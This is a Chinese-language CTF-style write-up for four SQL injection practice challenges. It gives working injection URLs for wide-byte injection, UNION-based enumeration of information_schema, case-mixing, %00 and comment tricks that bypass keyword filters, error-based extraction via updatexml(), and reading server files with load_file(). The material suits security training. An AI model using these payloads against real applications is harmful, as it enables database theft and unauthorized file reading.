SQL注入练习题解
SQL-1
题目:http://103.238.227.13:10083/
sql首先用单引号,and 1=1,and 1=2 等,发现已经被过滤了。
查看网页源代码,发现是gb2312,看表哥发的资料,采用的是宽字节注入
1 | http://103.238.227.13:10083/?id=-1%df%27 |
发现了注入方法,判断有多少列
1 | http://103.238.227.13:10083/?id=-1%df' order by 2 --+ |
所以有2列。
查询库名:
1 | http://103.238.227.13:10083/?id=-1%df' union select 1,group_concat(schema_name) From information_schema.schemata --+ |
查询表名:
1 | http://103.238.227.13:10083/?id=-1%df' union select 1,group_concat(table_name) From information_schema.tables Where table_schema=database() --+ |
查询列名:
1 | http://103.238.227.13:10083/?id=-1%df' union select 1,group_concat(column_name) From information_schema.columns Where table_schema=database() --+ |
查询字段名:
from key显示出错,推测过滤了key,经表哥提示,在key前加了.,后来发现在key前加上``也可以查出结果。
1 | http://103.238.227.13:10083/?id=-1%df%27 union select 1,group_concat(id,char(32),string) from .key --+ |
SQL-2
题目地址:http://103.238.227.13:10084/
这题过滤了and等小写单词,但是换成大小写就可以绕过
运用updatexml()函数报错,@@version函数查询数据库版本
1 | http://103.238.227.13:10084/?id=-1 aNd uPdatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) |
SQL-3
题目:http://103.238.227.13:10087/
题目里过滤了union select等等关键字,查了资料,用%00截断。
1 | http://103.238.227.13:10087/?id=1 u%00nion sel%00ect 1,version() --+ |
直接查询相应的值
1 | http://103.238.227.13:10087/?id=1%20u%00nion%20sel%00ect%20GROUP_CONCAT(hash),1%20fr%00om%20.key%20--+ |
SQL-4
题目:http://103.238.227.13:10088/
题目过滤了各种符号和union,union select查询就不适用了
限制了空格,用注释代替,/**/
想起了之前的updatexml()函数报错。
1 | http://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1) |
运用load_file()函数读取文件
1 | http://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/load_file(0x2f7661722f746573742f6b65795f312e706870)),0x7e),1) |
读取成功
调用substring()函数读取文档中字符串内容
1 | http://103.238.227.13:10088/?id=-1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/substring(load_file(0x2f7661722f746573742f6b65795f312e706870),2,32)),0x7e),1) |
是一个php脚本
因为updatexml()、substring()函数每次只能输出32个字符,所以需要分次查询
连接字符串得到flag
Flag:”7249f5a7fd1de602b30e6f39aea6193a”
查看资料: